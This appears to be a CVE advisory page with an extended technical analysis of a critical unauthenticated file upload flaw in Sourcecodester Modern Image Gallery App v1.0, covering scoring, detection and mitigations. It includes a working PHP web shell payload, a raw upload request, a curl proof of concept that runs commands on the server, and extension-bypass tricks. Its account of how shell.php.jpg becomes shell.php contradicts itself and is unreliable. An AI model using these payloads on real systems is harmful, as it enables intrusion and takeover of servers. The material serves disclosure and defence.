CVE-2025-70457
CVE-2025-70457
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
A Remote Code Execution (RCE) vulnerability exists in Sourcecodester Modern Image Gallery App v1.0 within the gallery/upload.php component. The application fails to properly validate uploaded file contents. Additionally, the application preserves the user-supplied file extension during the save process. This allows an unauthenticated attacker to upload arbitrary PHP code by spoofing the MIME type as an image, leading to full system compromise.
Comprehensive Technical Analysis of CVE-2025-70457
CVE ID: CVE-2025-70457 CVSS Score: 9.8 (Critical) Vulnerability Type: Remote Code Execution (RCE) via Unrestricted File Upload Affected Software: Sourcecodester Modern Image Gallery App v1.0
1. Vulnerability Assessment and Severity Evaluation
Vulnerability Overview
CVE-2025-70457 is a critical Remote Code Execution (RCE) vulnerability in the Modern Image Gallery App v1.0, specifically within the gallery/upload.php component. The flaw arises from inadequate file validation and improper handling of user-supplied file extensions, allowing unauthenticated attackers to upload malicious PHP files disguised as images.
Severity Justification (CVSS 9.8)
The CVSS v3.1 scoring breakdown is as follows:
| Metric | Value | Justification |
|---|---|---|
| Attack Vector (AV) | Network | Exploitable remotely without authentication. |
| Attack Complexity (AC) | Low | No special conditions required; straightforward exploitation. |
| Privileges Required (PR) | None | No authentication or privileges needed. |
| User Interaction (UI) | None | No user interaction required. |
| Scope (S) | Unchanged | Exploit affects the vulnerable component only. |
| Confidentiality (C) | High | Full system compromise possible. |
| Integrity (I) | High | Arbitrary code execution allows data manipulation. |
| Availability (A) | High | Attacker can disrupt or take over the system. |
Resulting CVSS Score: 9.8 (Critical)
Key Vulnerability Characteristics
- Unauthenticated RCE: No credentials required for exploitation.
- File Upload Bypass: Attacker can upload
.phpfiles by spoofing MIME types (e.g.,image/jpeg). - Persistent Exploitation: Malicious files remain on the server until manually removed.
- Low Exploitation Complexity: No advanced techniques required; basic HTTP requests suffice.
2. Potential Attack Vectors and Exploitation Methods
Exploitation Workflow
-
Reconnaissance:
- Attacker identifies the target application (e.g., via Shodan, Google Dorks, or direct discovery).
- Confirms the presence of
upload.php(e.g., viaGET /gallery/upload.php).
-
File Upload Bypass:
- Attacker crafts a malicious PHP file (e.g.,
shell.php) with a valid image header (e.g.,GIF89a;) to bypass MIME checks. - Example payload:
GIF89a; <?php system($_GET['cmd']); ?> - The file is uploaded with a
.phpextension (e.g.,shell.php.jpg), but the server preserves the original extension.
- Attacker crafts a malicious PHP file (e.g.,
-
MIME Type Spoofing:
- The attacker sets the
Content-Typeheader toimage/jpegorimage/pngto evade basic checks. - Example HTTP request:
POST /gallery/upload.php HTTP/1.1 Host: vulnerable-server.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="shell.php.jpg" Content-Type: image/jpeg GIF89a; <?php system($_GET['cmd']); ?> ------WebKitFormBoundary--
- The attacker sets the
-
Remote Code Execution:
- Once uploaded, the attacker accesses the file via:
http://vulnerable-server.com/uploads/shell.php?cmd=id - The server executes the PHP code, granting arbitrary command execution.
- Once uploaded, the attacker accesses the file via:
-
Post-Exploitation:
- Attacker escalates privileges (if possible), exfiltrates data, or deploys ransomware.
- Persistence mechanisms (e.g., cron jobs, backdoors) may be installed.
Alternative Exploitation Techniques
- Double Extensions: Uploading
shell.php.jpg(if the server strips.jpgbut keeps.php). - Null Byte Injection: Using
%00to truncate extensions (e.g.,shell.php%00.jpg). - Apache
.htaccessBypass: Uploading a malicious.htaccessfile to enable PHP execution in image directories.
3. Affected Systems and Software Versions
Vulnerable Software
- Product: Modern Image Gallery App
- Vendor: Sourcecodester
- Version: v1.0 (confirmed vulnerable)
- Component:
gallery/upload.php
Potential Deployment Scenarios
- Web Servers: Apache, Nginx, or IIS hosting the vulnerable application.
- Operating Systems: Any OS supporting PHP (Linux, Windows, etc.).
- Dependencies: PHP 5.x/7.x/8.x (no specific version dependency).
Detection Methods
- Manual Inspection:
- Check for
upload.phpin/gallery/directory. - Verify if file extensions are preserved during upload.
- Check for
- Automated Scanning:
- Nmap Script:
http-fileupload-exploiter.nse - Burp Suite: Manual testing with file upload payloads.
- Metasploit: Future modules may be developed (e.g.,
exploit/multi/http/sourcecodester_image_gallery_rce).
- Nmap Script:
4. Recommended Mitigation Strategies
Immediate Remediation
-
Disable File Uploads:
- Temporarily disable the
upload.phpendpoint until a patch is applied. - Restrict access via
.htaccessor web server rules.
- Temporarily disable the
-
Apply Vendor Patch:
- Monitor Sourcecodester for an official update (none currently available).
- If no patch exists, consider migrating to an alternative gallery application.
-
Input Validation & Sanitization:
- Whitelist Extensions: Only allow
.jpg,.png,.gif. - MIME Type Verification: Use
finfo_file()to validate file content. - Rename Uploaded Files: Generate random filenames (e.g.,
uuid4().jpg). - Disable PHP Execution: Set
php_flag engine offin.htaccessfor upload directories.
- Whitelist Extensions: Only allow
-
Server-Side Protections:
- Web Application Firewall (WAF):
- Configure rules to block PHP file uploads (e.g., ModSecurity OWASP CRS).
- File Integrity Monitoring (FIM):
- Monitor
/uploads/directory for unauthorized changes.
- Monitor
- Web Application Firewall (WAF):
-
Network-Level Controls:
- Isolate the Application: Place the gallery app in a DMZ with strict egress filtering.
- Rate Limiting: Prevent brute-force upload attempts.
Long-Term Hardening
- Secure Development Practices:
- Implement Content Security Policy (CSP) headers.
- Use PHP’s
move_uploaded_file()instead of direct file writes. - Conduct code reviews for file upload functionalities.
- Regular Audits:
- Perform penetration testing to identify similar vulnerabilities.
- Use static/dynamic analysis tools (e.g., SonarQube, OWASP ZAP).
5. Impact on the Cybersecurity Landscape
Exploitation Trends
- Mass Scanning: Threat actors will likely scan for vulnerable instances using Shodan/Censys.
- Automated Exploits: Metasploit modules or exploit kits may emerge, lowering the barrier for script kiddies.
- Ransomware & Cryptojacking: Attackers may deploy malware for financial gain.
Broader Implications
- Supply Chain Risks: If the gallery app is embedded in other software, downstream vendors may be affected.
- Compliance Violations: Organizations failing to patch may violate GDPR, HIPAA, or PCI DSS due to unauthorized access.
- Reputation Damage: Public disclosure of breaches can erode customer trust.
Threat Actor Motivations
| Actor Type | Likely Motivation |
|---|---|
| Script Kiddies | Defacement, bragging rights. |
| Cybercriminals | Ransomware, data theft, cryptojacking. |
| APT Groups | Persistent access for espionage. |
| Hacktivists | Disruption, political messaging. |
6. Technical Details for Security Professionals
Root Cause Analysis
-
Insufficient File Validation:
- The application does not verify file content (e.g., checking magic bytes for images).
- MIME type checks are client-controlled (e.g.,
Content-Type: image/jpegcan be spoofed).
-
Extension Preservation:
- The server retains the original file extension (e.g.,
shell.php.jpg→shell.php). - No sanitization or renaming occurs during upload.
- The server retains the original file extension (e.g.,
-
Lack of Execution Restrictions:
- The
/uploads/directory allows PHP execution (e.g., via.htaccessor server misconfigurations).
- The
Proof-of-Concept (PoC) Exploit
# Step 1: Craft malicious PHP file with image header
echo -e "GIF89a;\n<?php system(\$_GET['cmd']); ?>" > shell.php.jpg
# Step 2: Upload via curl
curl -X POST \
-F "file=@shell.php.jpg" \
-H "Content-Type: multipart/form-data" \
http://vulnerable-server.com/gallery/upload.php
# Step 3: Execute commands
curl "http://vulnerable-server.com/uploads/shell.php?cmd=id"
Detection & Forensics
- Log Analysis:
- Check web server logs (
access.log,error.log) for:- Unusual
POSTrequests toupload.php. - Requests to
.phpfiles in/uploads/.
- Unusual
- Check web server logs (
- File System Forensics:
- Search for suspicious files in
/uploads/:find /var/www/html/uploads/ -type f -name "*.php" -o -name "*.phtml"
- Search for suspicious files in
- Network Traffic Analysis:
- Look for outbound connections from the web server (e.g., reverse shells, data exfiltration).
Advanced Exploitation (Post-Compromise)
- Privilege Escalation:
- If the web server runs as
root, full system compromise is possible. - Check for SUID binaries or kernel exploits.
- If the web server runs as
- Lateral Movement:
- Use the compromised server to pivot into internal networks.
- Persistence:
- Install web shells (e.g.,
Weevely,C99) or cron jobs.
- Install web shells (e.g.,
Conclusion & Recommendations
CVE-2025-70457 represents a critical RCE vulnerability with low exploitation complexity, making it a prime target for threat actors. Organizations using the Modern Image Gallery App v1.0 must immediately apply mitigations to prevent compromise.
Key Takeaways for Security Teams
- Patch Management: Prioritize patching or disabling the vulnerable component.
- File Upload Security: Implement strict validation, MIME checks, and execution restrictions.
- Monitoring: Deploy WAFs, FIM, and SIEM alerts for suspicious uploads.
- Incident Response: Prepare for post-exploitation detection and containment.
Further Research
- Exploit Development: Security researchers may develop Metasploit modules or automated scanners.
- Threat Intelligence: Monitor dark web forums for exploit sales or attack campaigns.
Final Risk Assessment: Critical (9.8 CVSS) – Immediate action required.
References: